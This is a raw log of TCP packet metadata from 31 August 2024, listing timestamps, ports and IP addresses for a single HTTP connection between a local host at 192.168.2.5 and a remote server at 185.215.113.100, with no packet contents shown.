Aug 31, 2024 10:14:10.818492889 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.818504095 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.818542004 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.818543911 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.818552971 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.818586111 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.818619967 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.818630934 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.818648100 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.818665981 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.818689108 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.818957090 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.818968058 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.818985939 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.819005013 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.819032907 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.819071054 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.819081068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.819098949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.819120884 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.819142103 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.819423914 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.819436073 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.819454908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.819469929 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.819484949 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.819497108 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.819686890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.819708109 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.819717884 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.819730043 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.819750071 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.819925070 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.819942951 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.819971085 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.819998026 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.820019007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.820065022 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.820079088 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.820091963 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.820101976 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.820116997 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.820121050 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.820135117 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.820137024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.820156097 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.820184946 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.820219040 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.820257902 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.820290089 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.820332050 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.820339918 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.820377111 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.875952005 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.875963926 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.875986099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.875997066 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.876163006 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.876163006 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.004976034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.004991055 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005016088 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005027056 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005038977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005057096 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005068064 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005090952 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005105972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005115986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005135059 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005143881 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005162001 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005170107 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005186081 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005270958 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.005270958 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.005270958 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.005379915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005419016 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005426884 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.005429029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005446911 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005458117 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.005477905 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.005491972 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.005937099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005948067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005958080 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.005980015 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.005995989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.006000996 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.006006956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.006027937 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.006036043 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.006063938 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.006081104 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.006356955 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.006366968 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.006376028 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.006393909 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.006407022 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.006411076 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.006427050 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.006432056 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.006437063 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.006462097 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.006479979 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.006485939 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.006498098 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.006516933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.006526947 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.006527901 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.006546021 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.006553888 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.006560087 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.006562948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.006584883 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.006591082 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.006594896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.006620884 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.006644011 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.007425070 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.007435083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.007479906 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.007492065 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.007559061 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.007570982 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.007590055 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.007612944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.007617950 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.007626057 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.007641077 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.007646084 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.007657051 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.007668972 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.007675886 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.007689953 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.007699966 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.007713079 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.007718086 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.007724047 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.007745981 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.007760048 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.007927895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.007972956 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.008003950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008013964 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008038998 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008054018 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.008063078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008070946 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.008073092 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008091927 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008101940 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008106947 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.008121014 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008132935 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.008140087 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008167028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.008169889 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008179903 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008193016 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.008198977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008210897 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.008224010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008224964 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.008235931 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008249044 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.008258104 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008266926 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.008270025 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008279085 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.008289099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008300066 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.008301020 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008316994 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008325100 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.008327961 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.008353949 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.008367062 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.009072065 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.009080887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.009126902 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.009164095 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.009175062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.009186029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.009212017 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.009212971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.009222031 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.009238005 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.009264946 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.009533882 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.009543896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.009586096 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.009591103 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.009612083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.009624004 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.009630919 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.009643078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.009654999 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.009661913 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.009673119 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.009686947 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.009716988 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.010544062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.010595083 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.010622978 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.010632992 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.010658979 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.010663033 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.010682106 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.010682106 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.010693073 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.010704041 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.010715961 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.010729074 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.010737896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.010749102 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.010754108 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.010755062 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.010777950 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.010796070 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.010797024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.010807991 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.010828018 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.010838985 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.010845900 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.010853052 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.010871887 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.010893106 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.011080980 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.011091948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.011137962 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.011148930 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.011161089 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.011188984 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.011197090 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.011199951 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.011219978 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.011234999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.011264086 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.012159109 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.012188911 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.012200117 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.012206078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.012211084 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.012229919 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.012245893 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.013300896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.013309956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.013355970 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.013400078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.013421059 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.013432026 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.013446093 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.013452053 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.013463974 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.013478041 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.013484001 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.013500929 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.013529062 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.068706989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.068717003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.068727016 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.068742990 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.068758965 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.068789959 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.068789959 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.068826914 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156044960 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156133890 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156374931 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156383991 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156409025 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156419992 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156429052 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156441927 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156450987 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156454086 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156472921 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156491995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156502008 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156502008 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156514883 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156523943 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156538010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156548977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156552076 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156563044 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156565905 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156577110 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156586885 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156594992 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156605959 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156621933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156629086 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156635046 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156651020 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156653881 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156656981 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156662941 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156683922 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156686068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156712055 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156740904 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156795025 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156806946 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156826973 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156847000 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156860113 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156869888 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156871080 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156898022 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156903028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156913996 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156930923 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156939983 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156945944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156970978 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.156970978 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156990051 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.156995058 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157007933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157020092 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157027960 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157031059 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157040119 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157054901 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157061100 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157067060 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157072067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157087088 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157090902 CEST	80	49704	185.215.113.100	192.168.2.5
